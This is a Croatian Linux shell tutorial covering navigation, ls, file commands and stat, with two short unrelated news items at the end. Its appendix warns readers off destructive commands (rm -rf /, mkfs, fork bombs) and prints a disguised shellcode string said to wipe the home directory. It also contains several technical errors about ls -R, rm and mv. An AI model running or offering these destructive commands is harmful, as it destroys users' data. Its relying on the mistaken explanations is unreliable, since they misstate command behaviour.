No kako bilo, znak naredbenog retka, prompt, možete promjeniti a također razne distribucije koriste i različite promptove. Na mom, Gentoo GNU/Linux sustavu on izgleda ovako Lutherus@NCC-1701-E ~ # gdje je prvo moje korisničko ime te ime računala iza kojeg dolazi ime direktorija u kojem se trenutno nalazim te oznaka hash ( # ) dok u mom zsh shellu ( kojeg zapravo i koristim ) on izgleda ovako ~> . Prompt možete u potpunosti prilagoditi svojim potrebama i željama. Korisno je da se postave neke osnovne informacije koje će se prikazivati kao korisničko ime, ime direktorija i broj virtualne konzole u kojoj radimo. Dvije su varijable koje određuju njegov izgled, PS1 i PS2.
Evo i primjera za PS1 varijablu

PS1=”[\d \t \u@\h:\w ] $ “

ova varijablja prikazuje datum, vrijeme, ime računala te trenutan direktorij.

Bash manual

Većina distribucija isporučuje i manual stranice za većinu aplikacija pa tako i za Bash.
Njima pristupate tako da u terminal upišete man bash. Na isti način pristupate manualu za bilo koju drugu aplikaciju. Kroz manual se krećete služeći se strelicama ili space tipkom.

Kretanje stablom direktorija

Ako ste pokrenuli terminal na svom sustavu sigurno ste zamjetili da vas odmah baca u vaš korisnički /home drektorij. Ponekad, ako ne i vrlo često, poželjet ćete pobjeći od kuće i krenuti istraživati svijet. Sad ćemo saznati i kako to napraviti. Strukturu direktorija smo već upoznali pa nema potrebe da se ponovno vraćamo na nju. Ukoliko ste nešto zaboravili, vratite se par stranica unatrag.

Apsolutne putanje

Možete povući reference za neki direktorij unutar virtualnog direktorija preko apsolutnih putanja. Apsolutna putanja određuje gdje se točno nalazi neki direktorij u virtualnom direktoriju počevši od njegova korijena. Preko apsolutne putanje sustav točna zna kuda želite ići. Ona se specifira iz naredbe cd koja služi za kretanje stablom direktorija.
Na primjer želimo otići u /etc direktorij

~ > cd /etc
/etc >

No ukoliko se često krećete direktorijima unutar svojeg korisničkog direktorija, apsolutne putanje su malko mukotrpne. Zato postoji jednostavnije riješenje, relativne putanje.

Relativne putanje

Relativne putanje vam omogučuju da specificirate putanju relativnu na vašu trenutnu lokaciju bez da je započinjete sa korijenom. Dakle, ona ne započinje sa / što označava korijen direktorija. Relativna putanja započinje ili sa imenom direktorija ili sa posebnim znakom koj ga označava. Najčešći posebni znaci su

• točka ( . ) predstavlja trenutni direktorij
• dupla točka ( .. ) predstavlja prethodni direktorij

Dupla točka je vrlo korisna ukoliko se trebate otići u neki direktorij koj je van direktorija u kojem se trenutno nalazite, na primjer nalazite se u Documents direktoriju a želite otići u Desktop direktorij

~ > cd Documents
~/Documents > cd ../Desktop
~/Desktop >

Dupla točka nas je u ovome slučaju odvela 1 stupanj više u našem /home direktoriju te nas prebacila u Desktop direktorij. No, ako želite iz /home direktorija ući u /etc također se može preko relativne putanje

~ > cd ../../etc
/etc >

no traži više vremena da se unese nego apsolutna u tom slučaju.

Listanje direktorija i datoteka

Jedno od najosnovnijih svojstava shella je listanje direktorija i datoteka na sustavu. Za listanje se koristi naredba ls te ćemo se ovdje sa njom i upoznati.

Osnovno listanje
Naredba ls je najosnovnija naredba za izlistavanje direktorija i datoteka na sustavu.
Da se sa njom upoznamo, za početak otvorimo naš terminal i unesimo ls

~ > ls
Books builds configs Desktop Documents Downloads dwhelper mail Music Pictures scripts vampire Video
~ >

Primjetite da ls direktorije poreda po abecedi i rađe ih svrstava u red nego u stupac.
Ako koristite terminal emulator koji podržava boje primjetite kako ls naredba različite vrste direktorija oboji različitim bojama te kako bi odijelila datoteke od direktorija.
Ova naredba prikazuje datoteke i direktorije u trenutnom direktoriju no ne nužno i sve.
Linux često koristi skrivene datoteke i direktorije za pohranu konfiguracijskih datoteka.
To su datoteke i direktoriji čije ime započinje sa periodom “.”.Za njiovo prikazivanje koristi se argument a ( all ).

~ > ls -a
. Books .dbus .fontconfig linuxzasve.odt .maildir-sent .ncmpcpp vampire .wicd .zshrc
.. builds .ddd.py.swp .gconf linuxzasve.pdf .mozilla Pictures Video .Xauthority
.adobe .cache Desktop .gconfd .local .mpd scripts .vim .Xdefaults
.bash_history .ccache .dmenu_cache .htoprc .~lock.linuxzasve.odt# .mplayer .serverauth.16652 .vim-fuf-data .xinitrc
.bash_logout .config Documents .ipython .lyrics Music .serverauth.5900 .viminfo .xmobarrc
.bash_profile configs Downloads .irssi .macromedia .mutt .ssh .vim_mru_files .xmonad
.bashrc .conkyrc dwhelper .libreoffice mail .muttrc .thumbnails .vimrc .zcompdump
~ >

Velika promjena, zar ne? Kod korisnika koji koristi grafičko korisničko sučelje naći ćete podosta skrivenih konfiguracijskih datoteka. Ovaj konkretan primjer dolazi od korisnika koji koristi Xmonad sučelje.

-R je također koristan argument. On prikazuje isključivo datoteke sadržane u trenutnom direktoriju

Modificiranje prikazanih informacija
Sigurno ste primjetili kako naredba ls ne prikazuje previše informacija. Za ispis za više informacija koristimo parametar -l

~ > ls -l
total 10320
drwxr-xr-x 20 lutherus lutherus 4096 Mar 27 16:04 Books
drwxr-xr-x 3 lutherus lutherus 4096 Mar 29 10:40 builds
drwxr-xr-x 6 lutherus lutherus 4096 Mar 29 10:42 configs
drwxr-xr-x 2 lutherus lutherus 4096 Mar 22 11:40 Desktop
drwxr-xr-x 4 lutherus lutherus 4096 Mar 28 14:17 Documents
drwxr-xr-x 10 lutherus lutherus 4096 Mar 29 20:12 Downloads
drwxr-xr-x 2 lutherus lutherus 4096 Mar 28 13:40 dwhelper
-rw-r–r– 1 lutherus lutherus 7609640 Mar 29 10:02 linuxzasve.odt
-rw-r–r– 1 lutherus lutherus 2900920 Mar 29 10:35 linuxzasve.pdf
drwx—— 2 lutherus lutherus 4096 Mar 21 15:38 mail
drwxr-xr-x 17 lutherus lutherus 4096 Mar 29 20:12 Music
drwxr-xr-x 4 lutherus lutherus 4096 Mar 28 17:27 Pictures
drwxr-xr-x 7 lutherus lutherus 4096 Mar 25 10:22 scripts
drwxr-xr-x 2 lutherus lutherus 4096 Mar 22 11:41 vampire
drwxr-xr-x 11 lutherus lutherus 4096 Mar 29 19:13 Video
~ >

Parametar -l se još naziva i long listing. Sve sadržane direktorije izlistava u jednoj liniji po direktoriju uz vrlo korisne informacije o istome. Te informacije su

• tip ( direktorij (d ), datoteka ( – ), znak ( c ) i blok ( b )
• dozvolu
• broj linkova za datoteku
• vlasnik datoteke i direktorija
• ime grupe
• veličinu u bajtovima
• vrijeme zadnje modifikacije
• ime datoteke odnosno direktorija

Više parametara naredbe ls možete pronaći u njenom manualu ( man ls )

Manipuliranje datotekama

Linux shell pruža mnoge naredbe za manipulaciju datotekama. U ovome dijelu ćemo upoznati neke naredbe koje će nam povremeno zatrebati.

Kreiranje datoteka

Povremeno će te se naći u situaciji kada će biti potrebno kreirati. U takvome slučaju možete koristiti touch naredbu za izradu prazne datoteke

~ > touch pozdrav
~ > ls -il pozdrav
17039648 -rw-r–r– 1 lutherus lutherus 0 Mar 30 09:41 pozdrav
~ >

Kopiranje datoteka

Za kopiranje datoteka se koristi naredba cp dok naredba cp sa parametrom -r se koristi za kopiranje direktorija. Svi parametri naredbe cp se nalaze u njenom manualu.

Poveznice datoteka

Ako ste pručili manual za naredbu cp, sigurno ste primjetili nekoliko parametara koji se odnose na poveznice datoteke te ste sigurno time i zbunjeni.
Ovo je zapravo vrlo korisna opcija kod Linux sustava. Ukoliko trebate više kopija jedne datoteke ne morate raditi nove fizičke kopije već radite virtualne kopije. Virtualne kopije se nazivaju poveznicama. Postoje dvije vrste poveznica, simbolična poveznica ( soft link ) i tvrda poveznica ( hard link ) . Tvrde poveznice sadrže zasebnu datoteku u kojoj se nalaze sve informacije oko fizičke datoteke i gdje se ona nalazi te ih možete raditi samo kod datoteka na istome fizičkom mediju, ne možete hard linkati datoteku sa neke druge mount točke. Oni se rade sa parametrom -l naredbe cp dok sa parametrom -s radite simboličke poveznice.

Premještanje i preimenovanje datoteka i direktorija

Bilo da želite premjestiti ili pak da želite preimenovati neki direktorij ili datoteku, koristite naredbu mv (move). Ako želite premjestiti, npr. direktorij Videos u mapu Documents, naredbu mv koristite na sljedeći način

mv Videos /Documents

a ako pak želite direktorij Video preimenovati u direktorij Snimke, naredbu mv koristite na sljedeći način

mv Videos Snimke

Brisanje datoteka

Tijekom vaše karijere u Linuxu, zasigurno ćete poželjeti nešto obrisati pogotovo kod čišćenja sustava. Za brisanje poslužit ćemo se naredbom rm. Osnovna sintaksa naredbe rm je rm -i datoteka1. Sad ćemo obrisati datoteku koju smo prije kreirali naredbom pozdrav:

~ > rm -i pozdrav
rm: remove regular file `pozdrav’? y
~ >

Kao što vidite, naredba rm nas pita dali želimo tu datoteku obrisati. Jednom kad se pritisne y i potvrdi tipkom enter, ona se briše, odlazi zauvijek (ne, nije ju zameo vjetar).

Rad s direktorijima

Postoji nekoliko naredbi koje služe za rad sa datotekama i direktorijima ali i naredbe koje služe samo za rad sa direktorijima.

Kreiranje direktorija.

Kreiranje direktorija se vrši naredbom mkdir.

mkdir ~/novi_direktorij

Brisanje direktorija

Brisanje direktorija ponekad zna biti malo teže. Iskazuje mnoštvo prilika za Murphyeve zakone jer ako nešto može poći po zlu ovdje će poći po zlu. No, srećom, shell nas pokušava zaštititi od svega lošeg što se može dogoditi (shell je naš prijatelj).
Osnovna naredba za brisanje direktorija je naredba rm.
Nativno, ona radi samo brisanje praznih direktorija, no uz parametar -r možete prvo obrisati sve datoteke u tom direktoriju, a zatim i njega samoga.

Ispis sadržaja datoteke

Dosad smo pokrili neke osnovne naredbe koje nam olakšavaju život. Osim jedne korisne. Kako zaviriti u sadržaj datoteke bez da je otvorimo?

Statistika datoteke

Za pogled na statistiku datoteke se koristi naredba stat:

~ > stat .xmobarrc
File: `.xmobarrc’
Size: 965 Blocks: 8 IO Block: 4096 regular file
Device: 804h/2052d Inode: 17041427 Links: 1
Access: (0755/-rwxr-xr-x) Uid: ( 1000/lutherus) Gid: ( 1000/lutherus)
Access: 2012-03-29 10:43:14.324115282 +0200
Modify: 2012-03-29 10:43:14.324115282 +0200
Change: 2012-03-29 10:43:14.374115433 +0200
Birth: -
~ >

Ispis tipa datoteke

Za ovo ćemo se koristiti naredbom file. Evo i nekoliko primjera:

~ > file .vimrc
.vimrc: UTF-8 Unicode English text
~ > file ~/scripts/bash/sysinfo.sh
/home/lutherus/scripts/bash/sysinfo.sh: Bourne-Again shell script, ASCII text executable
~ >

Ispis cijele datoteke

Za pogled u datoteku, odnosno njen sadržaj, koristimo naredbu cat:

~ > cat ~/scripts/bash/trash.sh
#!/bin/bash

# set variable for trash directory
TRASHDIR=”/home/lutherus/.local/share/Trash”

# display size of TRASHDIR
du -hs $TRASHDIR

# pause for 3 seconds before continuing
sleep 3

# delete everything in TRASHDIR
rm –recursive –verbose $TRASHDIR/

~ >

Završna riječ

U ovome dijelu smo upoznali osnove Linux shella. Započelo je kratkim izletom kroz povijest te završilo upoznavanjem sa osnovnim radom u samome shellu. Naučili smo hijerarhiju datoteka, kretanje datotekama te kako manipulirati datoteke i direktorije.
Bash pruža mnoštvo aplikacija koje možete koristiti za povećavanje vlastite produkcije.
Prije nego se korisnik upusti u shell, bilo bi poželjno da nauči kako Linux finkcionira, koje su mu mogućnosti, kako radi sa uređajima i memorijom. Stoga smo u prošlom članku napravili manji zaokret te otišli proučiti sam kernel, srce sustava.
U sljedećim nastavcima ćemo upoznati neke napredne mogućnosti shella i zakoračiti u osnove skriptiranja te ćemo putem raditi i neke korisne programčiće koji olakšavaju život, a naše druženje ćemo završiti upoznavajući neke korisne CLI aplikacije koje olakšavaju život te napraviti minimalnu Gentoo instalaciju iskoristivši Ubuntu live CD.

Dodatak

Malciozan kod

Nema sustava koji je pošteđen malciozna koda pa tako ni GNU/Linux. Zato ćemo se sad upoznati sa nekim kodovima koje treba izbjegavati i kod kojih treba biti oprezan.
Brisanje trenutnog direktorija i svih datoteka

Naredbu za brisanje smo već upoznali. No, ukoliko ne pazite što radite ili pak smo vršite copy/paste u terminal svega što nađete na raznim forumima, može biti vrlo opasna:

rm -rf /
rm -rf .
rm -rf *

također, jedna od varijanti ove naredbe je rm -r .[^.]*

Uništavanje particije

mkfs
mkfs.ext3
mkfs.anything

Sve što se nalazi iza mkfs naredbe će biti uništeno i zamjenjeno praznom particijom!
Fork bomba
Iako ove naredbe privlače znatiželju, nemojte ih nikako isprobati, a ukoliko netko to vas traži da iz pokrenete – nemojte. One pokreću ogromne brojeve procesa sve dok se računalo ne smrzne, a onda pomaže jedino hard reset:
Bash fork bomba
(){:|:&};:

Perl fork bomba
fork while fork

Malciozan kod koji se kompajlira, potom i izvršava

Malciozan kod se nemora nužno pokretati iz shella ili shell skripte.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Nekome početniku ovo će izgledati kao hex code gibberish stuff, a ako može rješiti problem, kako kaže kolega, zašto ne pokrenuti. Evo zašto ne: ovo ne radi zapravo ništa drugo nego pokreće rm -rf ~ / & što će uništiti vaš /home direktorij.

Zato pazite, nemojte vršiti copy/paste naredbi u terminal, a za svaku naredbu za koju niste sigurni što radi, proučite njen manual.

Autor:Velimir B.

EA je već povukla prve korake. Od danas tako možete u Ubuntuovom Software Centru pronaći dva njihova igraća naslova: Lord of Ultima i Command and Conquer Tiberium Alliances.

Lord of Ultima- Scena iz igre

Tiberium Alliances - Scena iz igre

Obje igre su besplatne i možete ih odmah preuzeti. Prema prvim komentarima na Ubuntuovom Software Centru korisnici su izgleda jako zadovoljni dolaskom ovog velikog proizvođača igara na Ubuntu.

Izgleda da su se stvari polako počele događati. Ako se ovako nastavi možemo očekivati dolazak i ostalih proizvođača igara na Ubuntu, a nadamo se i ostale Linux platforme. A kasnije naravno i ostalog komercijalnog softvera. To bi konačno dalo Linuxu onaj traženi zamah za prodor na desktop tržište.

Da li se previše nadamo? I da li je značajan prodor Linuxa na desktop tržištu uopće dobra stvar?

Referenca: Ubuntuvibes

Samsung je ispravio tu nepravdu i predstavio prvi prototip uređaja pogonjenog Tizenom. Radi se o jako ranom prototipu tako da možemo očekivati brojne promjene dok ovakvi uređaji ne krenu na tržište. Ipak, možemo naslutiti kako će Tizen izgledati i kakve bi se sve aplikacije mogle naći na njemu.

Da li gledamo rađanje legende?

Kako stvari trenutno izgledaju Tizen bi mogao biti prilično sličan Androidu sa Samsungovim TouchWiz sučeljem. Samsung je obilno posudio brojne elemente svoje verzije Android sučelja. Iako smo očekivali da će Tizen biti OS jeftinijih mobilnih telefona, ako je suditi prema 4,3 inčnom ekranu i 1,2 GHz dual core procesoru prototipa, izgleda da bi se mogao naći i na kojem moćnijem uređaju.

Pratiti ćemo razvoj ovog operativnog sustava. Na kraju krajeva ipak se radi o pravom Linuxu.

Pogledajte video:

http://www.youtube.com/watch?v=rJ1y7CpIaVA

Referenca: the handheld blog